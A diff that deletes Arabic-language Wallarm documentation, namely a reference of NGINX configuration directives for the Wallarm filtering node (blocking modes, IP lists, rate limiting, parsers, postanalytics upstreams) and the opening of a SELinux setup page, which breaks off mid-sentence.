-[doc-us-scanner-ip-addresses]: scanner-address-us-cloud.md -[acl-access-phase]: #wallarm_acl_access_phase - -# خيارات الإعداد لعقدة Wallarm المبنية على NGINX - -تعلم خيارات التعديل المتاحة للوحدات Wallarm الخاصة بNGINX للحصول على أقصى استخدام من حل Wallarm. - -!!! info "وثائق NGINX الرسمية" - التحكم في الإعداد لـ Wallarm مشابه للغاية للتحكم في الإعداد لـ NGINX. [راجع وثائق NGINX الرسمية](https://www.nginx.com/resources/admin-guide/). بالإضافة إلى خيارات الإعداد الخاصة بـ Wallarm، يمكنك الوصول لكامل قدرات الإعداد في NGINX. - -## توجيهات Wallarm - -### disable_acl - -تتيح تعطيل تحليل أماكن المشتقات للطلبات. إذا تم تعطيلها (`on`)، لن يقوم العقدة الفرعية بتحميل [قوائم IP](../user-guides/ip-lists/overview.md) من سحابة Wallarm وستتجاهل تحليل مصادر IPs للطلب. - -!!! info - يمكن تعيين هذا العامل داخل blocks http، server، و location. - - القيمة الافتراضية هي `off`. - -### wallarm_acl_access_phase - -تجبر التوجيه عقدة Wallarm المبنية على NGINX على حجب الطلبات الواصلة من [IPs مدرجة في القائمة السوداء](../user-guides/ip-lists/overview.md) في مرحلة الوصول إلى NGINX وهذا يعني: - -* بواسطة `wallarm_acl_access_phase on`، ستحجب عقدة Wallarm فورًا أي طلبات من IPs مدرجة في القائمة السوداء في أي [وضع تصفية](configure-wallarm-mode.md) ولن تبحث عن علامات هجوم في الطلبات من IPs المدرجة في القائمة السوداء. - - هذه هي القيمة **الافتراضية والموصى بها** حيث تجعل القوائم السوداء تعمل بطريقة قياسية وتقلل بشكل كبير من حمل وحدة المعالجة المركزية للعقدة. - -* بواسطة `wallarm_acl_access_phase off`، ستحلل عقدة Wallarm الطلبات للعثور على علامات الهجوم أولًا ثم إذا كانت تعمل في وضع `block` أو `safe_blocking` ستحجب الطلبات القادمة من IPs مدرجة في القائمة السوداء. - - في وضع التصفية `off`، لا تقوم العقدة بتحليل الطلبات ولا تتحقق من القوائم السوداء. - - في وضع التصفية `monitoring`، تبحث العقدة عن علامات الهجوم في جميع الطلبات ولكنها أبدًا لن تحجبها حتى لو كانت IP المصدر مدرجة في القائمة السوداء. - - سلوك عقدة Wallarm عند `wallarm_acl_access_phase off` يزيد بشكل كبير من حمل وحدة المعالجة المركزية للعقدة. - -!!! info "القيمة الافتراضية والتفاعل مع التوجيهات الأخرى" - **القيمة الافتراضية**: `on` (بداية من عقدة Wallarm 4.2) - - يمكن تعيين التوجيه داخل block http فقط في ملف تكوين NGINX. - - * مع [`disable_acl on`](#disable_acl)، قوائم IP لا يتم معالجتها وتمكين `wallarm_acl_access_phase` لا معنى له. - * التوجيه `wallarm_acl_access_phase` لديه الأولوية على [`wallarm_mode`](#wallarm_mode) الذي ينتج عنه حجب الطلبات من IPs المدرجة في القائمة السوداء حتى لو كان وضع العقدة الفرعية `off` أو `monitoring` (بواسطة `wallarm_acl_access_phase on`). - -### wallarm_acl_export_enable - -تتيح التوجيه تمكين `on` / تعطيل `off` إرسال الإحصائيات حول الطلبات من [IPs مدرجة في القائمة السوداء](../user-guides/ip-lists/overview.md) من العقدة إلى السحابة. - -* مع `wallarm_acl_export_enable on` سيتم [عرض](../user-guides/events/analyze-attack.md#analyze-requests-from-denylisted-ips) الإحصائيات على الطلبات من IPs المدرجة في القائمة السوداء في قسم **الهجمات**. -* مع `wallarm_acl_export_enable off` لن يتم عرض الإحصائيات حول الطلبات من IPs المدرجة في القائمة السوداء. - -!!! info - هذا المعلم معين داخل block http. - - **القيمة الافتراضية**: `on` - -### wallarm_api_conf - -مسار إلى ملف `node.yaml`، الذي يحتوي على متطلبات الوصول لواجهة برمجة التطبيقات API الخاصة بـ Wallarm. - -**مثال**: - -``` -wallarm_api_conf /etc/wallarm/node.yaml - -# تثبيتات صور Docker المبنية على NGINX ، صور السحابة وجميع التثبيتات في حالة واحدة -# wallarm_api_conf /opt/wallarm/etc/wallarm/node.yaml -``` - -تُستخدم لتحميل طلبات مسلسلة مباشرةً من العقدة الفرعية إلى واجهة برمجة التطبيقات API لـ Wallarm (السحابة) بدلاً من تحميلها في وحدة postanalytics (Tarantool). -**يتم إرسال الطلبات التي تحتوي على هجمات فقط إلى واجهة برمجة التطبيقات API.** لا يتم حفظ الطلبات دون هجمات. - -**مثال على محتوى ملف node.yaml:** - -``` bash -# بيانات اعتماد الاتصال بواجهة برمجة التطبيقات API - -hostname: <بعض الأسماء> -uuid: <بعض uuid> -secret: <سر بعض> - -# معلمات الاتصال بواجهة برمجة التطبيقات API (المعلمات أدناه تُستخدم افتراضيًا) - -api: - host: api.wallarm.com - port: 443 - ca_verify: true -``` - -### wallarm_application - -معرف فريد للتطبيق المحمي المراد استخدامه في سحابة Wallarm. يمكن أن تكون القيمة عدد صحيح موجب باستثناء `0`. - -يمكن تعيين معرفات فريدة لكلاً من نطاقات التطبيق ومسارات النطاق، على سبيل المثال: - -=== "معرفات للنطاقات" - ملف التكوين للنطاق **example.com**: - - ```bash - server { - listen 80 default_server; - listen [::]:80 default_server ipv6only=on; - listen 443 ssl; - - ... - - wallarm_mode monitoring; - wallarm_application 1; - location / { - proxy_pass http://example.com; - include proxy_params; - } - } - ``` - - ملف التكوين للنطاق **test.com**: - - ```bash - server { - listen 80 default_server; - listen [::]:80 default_server ipv6only=on; - listen 443 ssl; - - ... - - wallarm_mode monitoring; - wallarm_application 2; - location / { - proxy_pass http://test.com; - include proxy_params; - } - } - ``` -=== "معرفات لمسارات النطاق" - ```bash - server { - listen 80 default_server; - listen [::]:80 default_server ipv6only=on; - listen 443 ssl; - - ... - - wallarm_mode monitoring; - location /login { - proxy_pass http://example.com/login; - include proxy_params; - wallarm_application 3; - } - - location /users { - proxy_pass http://example.com/users; - include proxy_params; - wallarm_application 4; - } - } - ``` - -[المزيد من التفاصيل عن إعداد التطبيقات →](../user-guides/settings/applications.md) - -!!! info - يمكن تعيين هذا المعلم داخل blocks http، server، و location. - - **القيمة الافتراضية**: `-1`. - -### wallarm_block_page - -تتيح لك إعداد الرد على الطلب المحجوب. - -[مزيد من التفاصيل حول تكوين صفحة الحجب ورمز الخطأ→](configuration-guides/configure-block-page-and-code.md) - -!!! info - يمكن تعيين هذا المعلم داخل blocks http، server، و location. - -### wallarm_block_page_add_dynamic_path - -يُستخدم هذا التوجيه لتهيئة صفحة الحجب التي لديها متغيرات NGINX في كودها والمسار إلى هذه الصفحة المحجوبة المُعينة أيضا باستخدام المتغير. خلاف ذلك، لا يُستخدم التوجيه. - -[مزيد من التفاصيل حول تكوين صفحة الحجب ورمز الخطأ→](configuration-guides/configure-block-page-and-code.md) - -!!! info - يمكن تعيين التوجيه داخل block `http` في ملف تكوين NGINX. - -### wallarm_cache_path - -دليل فيه يتم إنشاء كتالوج النسخ الاحتياطي لتخزين نسخة من بروتون.دي بي وملف مجموعة القواعد المخصصة عند بدء الخادم. يجب أن يكون هذا الدليل قابل للكتابة للعميل الذي يشغل NGINX. - -!!! info - يتم تكوين هذا المعلم داخل block http فقط. - -### wallarm_custom_ruleset_path - -مسار إلى الملف [المجموعة القاعدية المخصصة](../user-guides/rules/rules.md) التي تحتوي على معلومات حول التطبيق المحمي وإعدادات العقدة الفرعية. - -!!! info - يمكن تعيين هذا المعلم داخل blocks http، server، و location. - - **القيمة الافتراضية**: - - * `/opt/wallarm/etc/wallarm/custom_ruleset` لتثبيتات صور Docker المبنية على NGINX، صور السحابة وجميع التثبيتات في حالة واحدة - * `/etc/wallarm/custom_ruleset` للآثار التثبيتية الأخرى - -### wallarm_enable_libdetection - -تمكين/تعطيل التحقق الإضافي من الهجمات SQL Injection عبر مكتبة **libdetection**. استخدام **libdetection** يضمن الكشف المزدوج عن الهجمات ويقلل من عدد الإيجابيات الكاذبة. - -تحليل الطلبات بمكتبة **libdetection** مُمكّن بشكل افتراضي في جميع [خيارات الإنشاء](../installation/supported-deployment-options.md). لتقليل عدد الإيجابيات الكاذبة، نوصي بالمحافظة على تمكين التحليل. - -[المزيد من التفاصيل على **libdetection** →](../about-wallarm/protecting-against-attacks.md#library-libdetection) - -!!! warning "زيادة استهلاك الذاكرة" - عند تحليل الهجمات باستخدام مكتبة libdetection، قد يزيد مقدار الذاكرة المستهلكة من قبل عمليات NGINX وWallarm بنسبة حوالي 10%. - -!!! info - يمكن تعيين هذا المعلم داخل blocks http، server، و location. - - القيمة الافتراضية هي `on` لجميع [خيارات الإنشاء](../installation/supported-deployment-options.md). - -### wallarm_fallback - -مع القيمة المُعيَّنة كـ `on`، لدى NGINX القدرة على الدخول في وضع الطوارئ؛ إذا لم يتمكن من تنزيل بروتون.دي بي أو مجموعة القواعد المخصصة، يعطل هذا الإعداد وحدة Wallarm للـ blocks http، server، و location، الذين فشلت البيانات في التنزيل. NGINX يستمر في العمل. - -!!! info - القيمة الافتراضية هي `on`. - - يمكن تعيين هذا المعلم داخل blocks http، server، و location. - -### wallarm_force - -تعيين تحليل الطلبات وتوليد القواعد المخصصة استنادًا إلى حركة المرور المتناظرة لـ NGINX. انظر [تحليل حركة المرور المتناظرة مع NGINX](../installation/oob/web-server-mirroring/overview.md). - -### wallarm_general_ruleset_memory_limit - -تعيين حد للكمية القصوى من الذاكرة التي يمكن استخدامها بواسطة نسخة واحدة من بروتون.دي بي وملف مجموعة القواعد المخصصة. - -إذا تم تجاوز الحد المعيَّن خلال معاللجة بعض الطلبات، سيلغى المستخدم الخطأ 500. - -يمكن استخدام اللاحقات التالية في هذا المعلم: -* `k` أو `K` للكيلوبايت -* `m` أو `M` لميغابايت -* `g` أو `G` لجيغابايت - -قيمة **0** توقف الحد. - -!!! info - يمكن تعيين هذا المعلم داخل blocks http، server، و/أو location. - - **القيمة الافتراضية**: `1` غيغابايت - -### wallarm_global_trainingset_path - -!!! warning "التوجيه مهجور" - بدءاً من عقدة Wallarm 3.6، يرجى استخدام التوجيه [`wallarm_protondb_path`](#wallarm_protondb_path) بدلاً من ذلك. ما عليك سوى تغيير اسم التوجيه، لم تتغير منطقه. - -### wallarm_file_check_interval - -تعرف فاستقة بين فحص البيانات الجديدة في بروتون.دي بي وملف مجموعة القواعد المخصصة. تحدد وحدة القياس في اللاحقة على النحو التالي: -* لا لاحقة للدقائق -* `s` للثواني -* `ms` للمللي ثانية - -!!! info - يتم تكوين هذا المعلم فقط داخل block http. - - **القيمة الافتراضية**: `1` (دقيقة واحدة) - -### wallarm_instance - -!!! warning "التوجيه مهجور" - * إذا كان التوجيه يُستخدم لتعيين معرف فريد للتطبيق المحمي، فقط أعد تسميته إلى [`wallarm_application`](#wallarm_application). - * لتعيين معرف فريد للمستأجر للعقد العديدة-المستأجرة، بدلا من `wallarm_instance`، استخدم التوجيه [`wallarm_partner_client_uuid`](#wallarm_partner_client_uuid). - - عند تحديث التكوين الذي استخدمته للعقدة الفرعية الخاصة بك من الإصدار قبل 4.0: - - * إذا قمت بترقية العقدة الفرعية دون خاصية المتعدد المستأجرين ولديك أي `wallarm_instance` يُستخدم لتعيين معرف فريد للتطبيق المحمي، فقط أعد تسميته إلى `wallarm_application`. - * إذا قمت بتحديث عقدة الفرعية مع خاصية المتعدد المستأجرين، فافترض أن جميع `wallarm_instance` أن تكون `wallarm_application`، ثم أعد كتابة التكوين كما وصف في [تعليمات إعادة التكوين ذات الأمانة المتعددة](../updating-migrating/older-versions/multi-tenant.md#step-3-reconfigure-multitenancy). - -### wallarm_key_path - -مسار إلى المفتاح الخاص الخاص بـ Wallarm المُستخدم لتشفير / فك تشفير ملفات بروتون.دي بي ومجموعة القواعد المخصصة. - -!!! info - **القيمة الافتراضية**: - - * `/opt/wallarm/etc/wallarm/private.key` لتثبيتات صور Docker المبنية على NGINX، صور السحابة وجميع التثبيتات في حالة واحدة - * `/etc/wallarm/private.key` لآثار التثبيت الأخرى - - -### wallarm_local_trainingset_path - -!!! warning "التوجيه مهجور" - بدءاً من عقدة Wallarm 3.6، يرجى استخدام التوجيه [`wallarm_custom_ruleset_path`](#wallarm_custom_ruleset_path) بدلاً من ذلك. ما عليك سوى تغيير اسم التوجيه، لم تتغير منطقه. - -### wallarm_memlimit_debug - -هذا التوجيه يحدد ما إذا كانت وحدة Wallarm NGINX تولد ملف `/tmp/proton_last_memlimit.req` الذي يحتوي على تفاصيل الطلب عند تجاوز حد الذاكرة. يمكن أن يكون هذا لا غنى عنه لتصحيح مشكلات المعالجة المتعلقة بحد ذاكرة الطلب. - -!!! info - حاليًا هذا التوجيه متاح فقط لعقد NGINX المنشرة مع [المثبت كل في واحد](../installation/nginx/all-in-one.md) الإصدار 4.8.8 أو أعلى. - - يمكن تعيين هذا المعلم داخل blocks http،server، و location. - - **القيمة الافتراضية**: `on`. - -### wallarm_mode - -وضع معالجة حركة المرور: - -* `off` -* `monitoring` -* `safe_blocking` -* `block` - ---8<-- "../include/wallarm-modes-description-5.0.md" - -يمكن تقييد استخدام `wallarm_mode` بواسطة التوجيه `wallarm_mode_allow_override`. - -[تعليمات تفصيلية حول تكوين وضع التصفية →](configure-wallarm-mode.md) - -!!! info - يمكن تعيين هذا المعلم داخل blocks http، server، و location. - - **القيمة الافتراضية** تعتمد على طريقة نشر العقدة الفرعية (يمكن أن تكون `off` أو `monitoring`) - -### wallarm_mode_allow_override - -تدير القدرة على تجاوز قيم [`wallarm_mode`](#wallarm_mode) عبر قواعد الفلترة التي تم تنزيلها من سحابة Wallarm (مجموعة القواعد المخصصة): - -- `off` - يتم تجاهل القواعد المخصصة. -- `strict` - يمكن للقواعد المخصصة فقط تقوية وضع التشغيل. -- `on` - من الممكن تقوية وتخفيف وضع التشغيل. - -على سبيل المثال، مع `wallarm_mode monitoring` و `wallarm_mode_allow_override strict` مُعيّنين، يمكن استخدام Wallarm Console لتمكين حجب بعض الطلبات، ولكن لا يمكن تعطيل تحليل الهجوم بالكامل. - -[تعليمات تفصيلية حول تكوين وضع التصفية →](configure-wallarm-mode.md) - -!!! info - يمكن تعيين هذا المعلم داخل blocks http، server، و location. - - **القيمة الافتراضية**: `on` - - -### wallarm_parse_response - -ما إذا كان سوف يتم تحليل استجابات التطبيق. تحتاج تحليل الاستجابة للكشف عن الثغرات الأمنية أثناء [الكشف السلبي](../about-wallarm/detecting-vulnerabilities.md#passive-detection) و [توثيق التهديد النشط](../about-wallarm/detecting-vulnerabilities.md#active-threat-verification). - -القيم الممكنة هي `on` (تحليل الاستجابة مُمكّن) و `off` (تحليل الاستجابة معطل). - -!!! info - يمكن تعيين هذا المعلم داخل blocks http، server، و location. - - **القيمة الافتراضية**: `on` - -### wallarm_parse_websocket - -يوفر Wallarm الدعم الكامل لـ WebSockets تحت خطة الاشتراك في الأمان API. بشكل افتراضي، رسائل WebSockets لا يتم تحليلها للهجمات. - -لإرغام الميزة، قم بتنشيط خطة الاشتراك في الأمان API واستخدم التوجيه `wallarm_parse_websocket`. - -القيم الممكنة: - -- `on`: تحليل الرسائل مُمكّن. -- `off`: تحليل الرسائل معطل. - -!!! info - يمكن تعيين هذا المعلم داخل blocks http، server، و location. - - **القيمة الافتراضية**: `off` - -### wallarm_parser_disable - -يتيح تعطيل المحلل. تتوافق قيم التوجيه مع اسم المحلل الذي سيتم تعطيله: - -- `cookie` -- `zlib` -- `htmljs` -- `json` -- `multipart` -- `base64` -- `percent` -- `urlenc` -- `xml` -- `jwt` - -**مثال** - -``` -wallarm_parser_disable base64; -wallarm_parser_disable xml; -location /ab { - wallarm_parser_disable json; - wallarm_parser_disable base64; - proxy_pass http://example.com; -} -location /zy { - wallarm_parser_disable json; - proxy_pass http://example.com; -} -``` - -!!! info - يمكن تعيين هذا المعلم داخل blocks http، server، و location. - -### wallarm_proton_log_mask_master - -إعدادات لتسجيل التصحيح لعملية السيد NGINX. - -!!! warning "استخدام التوجيه" - تحتاج إلى تكوين التوجيه فقط إذا قيل لك ذلك من قبل عضو فريق الدعم في Wallarm. سيقدمون لك القيمة التي ستستخدم مع التوجيه. - -!!! info - يمكن تكوين هذا المعلم على المستوى الرئيسي فقط. - - -### wallarm_proton_log_mask_worker - -إعدادات التصحيح لعملية NGINX العاملة. - -!!! warning "استخدام التوجيه" - تحتاج إلى تكوين التوجيه فقط إذا قيل لك ذلك من قبل عضو فريق الدعم في Wallarm. سيقدمون لك القيمة التي ستستخدم مع التوجيه. - -!!! info - يمكن تكوين هذا المعلم على المستوى الرئيسي فقط. - -### wallarm_protondb_path - -مسار إلى ملف [proton.db](../about-wallarm/protecting-against-attacks.md#library-libproton) الذي يحتوي على الإعدادات العامة لتصفية الطلبات، التي لا تعتمد على هيكل التطبيق. - -!!! info - يمكن تعيين هذا المعلم داخل blocks http، server، و location. - - **القيمة الافتراضية**: - - * `/opt/wallarm/etc/wallarm/proton.db` لتثبيتات صور Docker المبنية على NGINX، صور السحابة وجميع التثبيتات في حالة واحدة - * `/etc/wallarm/proton.db` لآثار التثبيت الأخرى - -### wallarm_rate_limit - -تعيين تكوين حد السرعة في الشكل التالي: - -``` -wallarm_rate_limit <المفتاح لقياس الحدود> rate=<معدل> burst=<تفجير> delay=<تأخير>; -``` - -* `المفتاح لقياس الحدود` - المفتاح الذي تود قياس الحدود له. يمكن أن يحتوي على نص، [متغيرات NGINX](http://nginx.org/en/docs/varindex.html) ومزيجها. - - على سبيل المثال: `"$remote_addr +login"` للحد من الطلبات الواصلة من نفس IP والمستهدفة على المسار `/login`. -* `rate=<معدل>` (مطلوب) - حد السرعة، يمكن أن يكون `rate=<رقم>r/s` أو `rate=<رقم>r/m`. -* `burst=<تفجير>` (اختياري) - العدد الأقصى للطلبات الزائدة للتخزين المؤقت بمجرد تجاوز RPM/RPS المحدد ويتم معالجتها بمجرد عودة السرعة إلى الطبيعي. `0` بشكل افتراضي. -* `delay=<تأخير>` - إذا كانت قيمة `<تفجير>` مختلفة عن `0`، يمكنك التحكم في ما إذا كان سيكون لديك للحفاظ على RPM/RPS المحدد بين تنفيذ الطلبات الزائدة المخزنة ضمن النطاق. يشير `nodelay` إلى التنفيذ المتزامن لجميع الطلبات الزائدة المخزنة ضمن النطاق، دون تأخير حد السرعة. القيمة العددية تعني التحصيل المتزامن للعدد المحدد من الطلبات الزائدة، يتم معالجة البقية بتأخير معين في RPS/RPM. - -مثال: - -``` -wallarm_rate_limit "$remote_addr +location_name" rate=10r/s burst=9 delay=5; -``` - -!!! info - **القيمة الافتراضية:** غير موجودة. - - يمكن تعيين هذا المعلم داخل blocks http، server، location. - - إذا قمت بتعيين الحد السرعة [قاعدة حد السرعة](../user-guides/rules/rate-limiting.md) (يُوصى به) يكون للتوجيه `wallarm_rate_limit` أولوية أقل. - -### wallarm_rate_limit_enabled - -تمكين/تعطيل حد السرعة لـ Wallarm. - -إذا `off`، فلا تعمل قاعدة [حد السرعة](../user-guides/rules/rate-limiting.md) (موصى به) ولا التوجيه `wallarm_rate_limit`. - -!!! info - **القيمة الافتراضية:** `on` ولكن حد السرعة لـ Wallarm لن يعمل بدون إعداد إما القاعدة [حد السرعة](../user-guides/rules/rate-limiting.md) (يوصى به) أو التوجيه `wallarm_rate_limit`. - -### wallarm_rate_limit_log_level - -مستوى التسجيل للطلبات المرفوضة من قبل التحكم بحد السرعة. يمكن أن تكون: `info`، `notice`، `warn`، `error`. - -!!! info - **القيمة الافتراضية:** `error`. - - يمكن تعيين هذا المعلم داخل blocks http، server، location. - -### wallarm_rate_limit_status_code - -رمز لإرجاع في الاستجابة إلى الطلبات المرفوضة بواسطة وحدة حد السرعة لـ Wallarm. - -!!! info - **القيمة الافتراضية:** `503`. - - يمكن تعيين هذا المعلم داخل blocks http، server، location. - -### wallarm_rate_limit_shm_size - -تعيين الحد الأقصى لكمية الذاكرة المشتركة التي يمكن استهلاكها بواسطة حد السرعة لـ Wallarm. - -مع متوسط طول المفتاح 64 بايتًا (حروف)، و `wallarm_rate_limit_shm_size` من 64MB، يمكن للوحدة التعامل مع حوالي 130,000 مفتاح فريد في وقت واحد. زيادة الذاكرة بمقدار ضعفين يضاعف سعة الوحدة على نحو خطي. - -المفتاح هو قيمة فريدة للنقطة الطلب التي تستخدمها الوحدة لقياس الحدود. على سبيل المثال، إذا كانت الوحدة تحد من الاتصالات استنادًا إلى عناوين IP، يعتبر كل عنوان IP فريد مفتاحًا واحدًا. بفضل القيمة الافتراضية للتوجيه، يمكن للوحدة معالجة الطلبات الصادرة من ~130,000 IPs مختلفة متزامنًا. - -!!! info - **القيمة الافتراضية:** `64m` (64 ميجابايت). - - يمكن تعيين هذا المعلم داخل block http فقط. - -### wallarm_request_chunk_size - -تحدد حجم جزء من الطلب الذي يتم معالجته خلال تكرار واحد. يمكنك تعيين قيمة مخصصة للتوجيه `wallarm_request_chunk_size` في البايتات عبر تعيين أي عدد صحيح له. التوجيه يدعم أيضا اللاحقات التالية: -* `k` أو `K` للكيلوبايت -* `m` أو `M` لميغابايت -* `g` أو `G` لجيغابايت - -!!! info - يمكن تعيين هذا المعلم داخل blocks http، server، و location. - - **القيمة الافتراضية**: `8k` (8 كيلوبايت). - -### wallarm_request_memory_limit - -تعيين حد للكمية القصوى من الذاكرة التي يمكن استخدامها لمعالجة طلب واحد. - -إذا تم تجاوز الحد، سيلغى معالجة الطلب وسيلغى المستخدم الخطأ 500. - -يمكن استخدام اللاحقات التالية في هذا المعلم: -* `k` أو `K` للكيلوبايت -* `m` أو `M` لميغابايت -* `g` أو `G` لجيغابايت - -قيمة `0` توقف الحد. - -افتراضيا، الحدود معطلة. - -!!! info - يمكن تعيين هذا المعلم داخل blocks http، server، و/أو location. - -### wallarm_stalled_worker_timeout - -تعيين حد زمني لمعالجة طلب واحد للعمل عقدة NGINX بالثواني. - -إذا تجاوز الزمن الحد، يتم كتابة بيانات حول عمال NGINX إلى القيم `stalled_workers_count` و `stalled_workers` [إحصائيات](configure-statistics-service.md##working-with-the-statistics-service) العوامل. - -!!! info - يمكن تعيين هذا المعلم داخل blocks http، server، و location. - - **القيمة الافتراضية**: `5` (خمس ثوانٍ) - -### wallarm_status - -تتحكم في [خدمة الإحصاءات Wallarm](configure-statistics-service.md). - -تحتوي قيمة التوجيه على التنسيق التالي: - -``` -wallarm_status [on|off] [format=json|prometheus]; -``` - -من الأفضل تكوين خدمة الإحصاءات في ملف خاص بها، وتجنب التوجيه `wallarm_status` في ملفات الإعداد الأخرى NGINX، لأن الأخير قد يكون غير آمن. يقع ملف التكوين `wallarm-status` في: - -* `/etc/nginx/wallarm-status.conf` للمثبت كل في واحد -* `/etc/nginx/conf.d/wallarm-status.conf` للتثبيتات الأخرى - - -إضافة إلى ذلك، ينصح بشدة بعدم تغيير أي من الخطوط الحالية لتكوين `wallarm-status` الافتراضي حيث أنه قد يفسد عملية تحميل بيانات المتريكات إلى سحابة Wallarm. - -!!! info - يمكن تكوين التوجيه في سياق `server` و/أو `location` في NGINX. - - القيمة الافتراضية للمعلم `format` هي `json`. - -### wallarm_tarantool_upstream - -مع `wallarm_tarantool_upstream`، يمكنك موازنة الطلبات بين عدة خوادم postanalytics. - -**مثال:** - -```bash -upstream wallarm_tarantool { - server 127.0.0.1:3313 max_fails=0 fail_timeout=0 max_conns=1; - keepalive 1; -} - -# متروك - -wallarm_tarantool_upstream wallarm_tarantool; -``` - -انظر أيضًا إلى [وحدة ngx_http_upstream_module](https://nginx.org/en/docs/http/ngx_http_upstream_module.html). - -!!! warning "الشروط المطلوبة" - من الضروري تلبية الشروط التالية بالنسبة للعلامات المحددة `max_conns` و `keepalive`: - - * يجب أن تكون قيمة العامل `keepalive` لا تقل عن عدد خوادم Tarantool. - * يجب تحديد قيمة `max_conns` لكل من خوادم التدفق العلوي Tarantool لمنع إنشاء اتصالات مفرطة. - -!!! info - العامل يُعد في block http فقط. - -### wallarm_unpack_response - -ما إذا كان سوف يُفك تشفير البيانات المضغوطة المُرجعة في الاستجابة التطبيقية. القيم الممكنة هي `on` (عملية التفكيك مُمكّنة) و `off` (عملية التفكيك معطلة). - -هذا المعلم فعّال فقط إذا `wallarm_parse_response on`. - -!!! info - **القيمة الافتراضية**: `on`. - -### wallarm_upstream_backend - -وسيلة لإرسال الطلبات المُسلسلة. يمكن إرسال الطلبات إما إلى Tarantool أو إلى الواجهة البرمجية للتطبيقات API. - -القيم الممكنة للتوجيه: -* `tarantool` -* `api` - -باعتماد التوجيهات الأخرى، سيتم تعيين القيمة الافتراضية على النحو التالي: -* `tarantool` - إذا لم يكن هناك توجيه `wallarm_api_conf` في التكوين. -* `api` - إذا كان هناك توجيه `wallarm_api_conf`، ولكن لا يوجد توجيه `wallarm_tarantool_upstream` في التكوين. - - !!! note - إذا كان التوجيه `wallarm_api_conf` و `wallarm_tarantool_upstream` موجودين في نفس الوقت في التكوين، ستحدث خطأ في التكوين بشكل غامض في التصميم العلوي لـ wallarm. - -!!! info - يمكن تعيين هذا المعلم داخل block http فقط. - - -### wallarm_upstream_connect_attempts - -تعرف عدد المحاولات الفورية لإعادة الاتصال بـ Tarantool أو واجهة برمجة التطبيقات API. -إذا تم إنهاء الاتصال بـ Tarantool أو الواجهة البرمجية للتطبيقات API، فلن يحدث محاولة لإعادة الاتصال. ومع ذلك، هذا ليس الأمر في حالة عدم وجود المزيد من الاتصالات وطابور الطلبات المُسلسلة ليس فارغًا. - -!!! note - قد تحدث إعادة الاتصال من خلال خادم آخر، لأن النظام الفرعي "التدفق العلوي" هو المسؤول عن اختيار الخادم. - - يمكن تعيين هذا المعلم فقط داخل block http. - -### wallarm_upstream_reconnect_interval - -تحدد الفاصل بين محاولات إعادة الاتصال بـ Tarantool أو واجهة برمجة التطبيقات API بعد أن تجاوز عدد المحاولات الفاشلة الحد الذي حدده `wallarm_upstream_connect_attempts`. - -!!! info - يمكن تعيين هذا المعلم فقط داخل block http. - -### wallarm_upstream_connect_timeout - -تعريف وقت المهلة للاتصال بـ Tarantool أو واجهة برمجة التطبيقات API. - -!!! info - يمكن تعيين هذا المعلم فقط داخل block http. - -### wallarm_upstream_queue_limit - -تحدد حدًا لعدد الطلبات المُسلسلة. -تعيين المعلم `wallarm_upstream_queue_limit` متزامنًا وعدم تعيين المعلم `wallarm_upstream_queue_memory_limit` يعني أن لا يوجد حد على الأخير. - -!!! info - يمكن تعيين هذا المعلم فقط داخل block http. - -### wallarm_upstream_queue_memory_limit - -تحدد حدًا لإجمالي حجم الطلبات المُسلسلة. -تعيين المعلم `wallarm_upstream_queue_memory_limit` متزامنًا وعدم تعيين المعلم `wallarm_upstream_queue_limit` يعني أن لا يوجد حد على الأخير. - -!!! info - **القيمة الافتراضية**: `100m`. - - يمكن تعيين هذا المعلم فقط داخل block http. - -### wallarm_upstream_connect_attempts - -تعرف عدد المحاولات الفورية للاتصال بـ Tarantool أو API. -إذا تم إنهاء الاتصال بـ Tarantool أو API، فلن يحدث محاولة لإعادة الاتصال. ومع ذلك، هذا ليس الحال عندما لا تكون هناك المزيد من الاتصالات وطابور الطلبات المُسردة ليست فارغًا. - -!!! note - قد تحدث إعادة التواصل من خلال خادم آخر، لأن النظام الفرعي "upstream" هو المسؤول عن اختيار الخادم. - - يمكن ضبط هذا المعامل فقط داخل block http. - -### wallarm_upstream_reconnect_interval - -تحدد الفاصل بين محاولات الاتصال بـ Tarantool أو API بعد تجاوز عدد المحاولات الفاشلة الحد الذي حدد في `wallarm_upstream_connect_attempts`. - -!!! info - يمكن ضبط هذا المعامل فقط داخل block http. - -### wallarm_upstream_connect_timeout - -تعرف مهلة التواصل إلى Tarantool أو API. - -!!! info - يمكن ضبط هذا المعامل فقط داخل block http. - -### wallarm_upstream_queue_limit - -تحدد حدًا لعدد الطلبات المُسلسلة. -تعيين المعلم `wallarm_upstream_queue_limit` متزامنًا وعدم تعيين المعلم `wallarm_upstream_queue_memory_limit` يعني أن لا يوجد حد على الأخير. - -!!! info - يمكن ضبط هذا المعامل فقط داخل block http. - -### wallarm_upstream_queue_memory_limit - -تحدد حدًا لإجمالي حجم الطلبات المُسلسلة. -تعيين المعلم `wallarm_upstream_queue_memory_limit` متزامنًا وعدم تعيين المعلم `wallarm_upstream_queue_limit` يعني أن لا يوجد حد على الأخير. - -!!! info - **القيمة الافتراضية**:`100m`. - - يمكن ضبط هذا المعامل فقط داخل block http. \ No newline at end of file diff --git a/docs/latest-ar/admin-en/configure-selinux.md b/docs/latest-ar/admin-en/configure-selinux.md deleted file mode 100644 index 1467ddc4cc..0000000000 --- a/docs/latest-ar/admin-en/configure-selinux.md +++ /dev/null @@ -1,47 +0,0 @@ -[link-selinux]: https://www.redhat.com/en/topics/linux/what-is-selinux - -# تكوين SELinux - -إذا كان نظام SELinux مُفعلًا على مضيف بوجود عقدة تصفية، قد يتداخل ذلك مع عمل عقدة التصفية مما يجعلها غير قابلة للعمل: -* لن يتم تصدير قيم RPS (طلبات بالثانية) وAPS (هجمات بالثانية) الخاصة بعقدة التصفية إلى سحابة Wallarm. - -يتم تثبيت SELinux وتفعيله بشكل افتراضي على توزيعات لينكس القائمة على RedHat (مثل CentOS أو Amazon Linux 2.0.2021x والأقل). يمكن أيضا تثبيت SELinux على توزيعات لينكس أخرى، مثل Debian أو Ubuntu. - -من الضروري إما تعطيل SELinux أو تكوينه بحيث لا يعيق عمل عقدة التصفية. - -## التحقق من حالة SELinux - -نفذ الأمر التالي: - -``` bash -sestatus -``` - -افحص الناتج: -* `SELinux status: enabled` -* `SELinux status: disabled` - -## تكوين SELinux - -اسمح لأداة `collectd` باستخدام مأخذ TCP لتجعل عقدة التصفية تعمل مع تفعيل SELinux. للقيام بذلك، نفذ الأمر التالي: - -``` bash -setsebool -P collectd_tcp_network_connect 1 -``` - -تحقق من نجاح تنفيذ الأمر السابق بتشغيل الأمر التالي: - -``` bash -semanage export | grep collectd_tcp_network_connect -``` - -يجب أن يحتوي الناتج على هذه 